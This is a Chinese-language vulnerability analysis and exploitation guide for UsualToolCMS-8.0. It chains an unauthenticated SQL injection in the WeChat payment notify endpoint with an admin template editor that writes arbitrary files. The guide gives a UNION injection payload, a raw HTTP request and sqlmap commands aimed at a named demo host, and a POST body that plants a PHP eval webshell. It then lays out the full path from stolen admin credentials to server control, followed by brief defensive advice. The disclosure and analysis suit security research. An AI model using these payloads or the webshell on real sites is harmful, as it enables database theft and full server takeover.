UsualToolCMS-8.0官方最新版从前台无限制sql注入到后台getshell
字数 1136 2025-08-26 22:11:51

UsualToolCMS-8.0 SQL注入漏洞分析与利用指南

漏洞概述

本文档详细分析UsualToolCMS-8.0版本中存在的两个高危漏洞:

  1. 前台无限制SQL注入漏洞
  2. 后台getshell漏洞

这两个漏洞组合利用可导致系统完全沦陷,危害极大。

第一部分:前台无限制SQL注入

漏洞位置

payment/wechat/notify.php文件第7-28行

漏洞分析

  1. 漏洞触发流程

    • 第7行:$xml = file_get_contents("php://input"); 读取POST原始数据
    • 第10行:$result = WxPayResults::Init($xml); 解析XML数据
    • 第20行:$out_trade_no = $result["out_trade_no"]; 获取交易单号
    • 第28行:SQL查询直接拼接$out_trade_no变量:$query="SELECT * FROM cms_order WHERE ordernum='$out_trade_no' and state='0'";
  2. 漏洞成因

    • 未对XML输入进行有效过滤
    • 直接拼接用户输入到SQL语句
    • WxPayResults::Init方法未对关键字段进行安全处理

漏洞验证

  1. 测试Payload
<aa><out_trade_no>-1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14 #</out_trade_no></aa>
  1. 测试方法
    • 发送POST请求到/payment/wechat/notify.php
    • Content-Type设置为application/x-www-form-urlencoded
    • 请求体为上述XML格式

SQLMap利用

  1. 准备请求文件(2.txt)
POST /demo/payment/wechat/notify.php HTTP/1.1
Host: cms.usualtool.com
[...其他头部...]
<aa><out_trade_no>*</out_trade_no></aa>
  1. SQLMap命令
sqlmap.py -r 2.txt --dbms=mysql --technique=T
sqlmap.py -r 2.txt --dbms=mysql --technique=T --current-user

注意:如果直接使用星号标记位置无法成功,可能需要先手动确认注入点有效。

第二部分:后台getshell漏洞

漏洞位置

cmsadmin/a_templetex.php文件

漏洞利用

  1. 直接写入Webshell

    • 访问URL:/cmsadmin/a_templetex.php?x=m
    • POST数据:
      filename=123.php&content=<?php eval($_POST[1]);?>
      
    • Webshell将写入网站根目录
  2. 任意文件读取

    • 该文件还包含任意文件读取功能(具体利用方式未详细说明)

漏洞组合利用流程

  1. 通过前台SQL注入获取管理员凭证
  2. 登录后台访问a_templetex.php
  3. 写入Webshell获取服务器控制权

防御建议

  1. 对所有用户输入进行严格过滤和转义
  2. 使用参数化查询或预处理语句
  3. 限制后台文件操作权限
  4. 对敏感文件进行访问控制
  5. 及时更新到最新版本

总结

该CMS存在严重的安全隐患,攻击者可利用这两个漏洞从信息泄露到完全控制服务器。建议用户立即采取防护措施或更换更安全的CMS系统。

:本文仅用于安全研究目的,请勿用于非法用途。

UsualToolCMS-8.0 SQL注入漏洞分析与利用指南 漏洞概述 本文档详细分析UsualToolCMS-8.0版本中存在的两个高危漏洞: 前台无限制SQL注入漏洞 后台getshell漏洞 这两个漏洞组合利用可导致系统完全沦陷,危害极大。 第一部分:前台无限制SQL注入 漏洞位置 payment/wechat/notify.php 文件第7-28行 漏洞分析 漏洞触发流程 : 第7行: $xml = file_get_contents("php://input"); 读取POST原始数据 第10行: $result = WxPayResults::Init($xml); 解析XML数据 第20行: $out_trade_no = $result["out_trade_no"]; 获取交易单号 第28行:SQL查询直接拼接 $out_trade_no 变量: $query="SELECT * FROM cms_order WHERE ordernum='$out_trade_no' and state='0'"; 漏洞成因 : 未对XML输入进行有效过滤 直接拼接用户输入到SQL语句 WxPayResults::Init方法未对关键字段进行安全处理 漏洞验证 测试Payload : 测试方法 : 发送POST请求到 /payment/wechat/notify.php Content-Type设置为 application/x-www-form-urlencoded 请求体为上述XML格式 SQLMap利用 准备请求文件(2.txt) : SQLMap命令 : 注意 :如果直接使用星号标记位置无法成功,可能需要先手动确认注入点有效。 第二部分:后台getshell漏洞 漏洞位置 cmsadmin/a_templetex.php 文件 漏洞利用 直接写入Webshell : 访问URL: /cmsadmin/a_templetex.php?x=m POST数据: Webshell将写入网站根目录 任意文件读取 : 该文件还包含任意文件读取功能(具体利用方式未详细说明) 漏洞组合利用流程 通过前台SQL注入获取管理员凭证 登录后台访问 a_templetex.php 写入Webshell获取服务器控制权 防御建议 对所有用户输入进行严格过滤和转义 使用参数化查询或预处理语句 限制后台文件操作权限 对敏感文件进行访问控制 及时更新到最新版本 总结 该CMS存在严重的安全隐患,攻击者可利用这两个漏洞从信息泄露到完全控制服务器。建议用户立即采取防护措施或更换更安全的CMS系统。 注 :本文仅用于安全研究目的,请勿用于非法用途。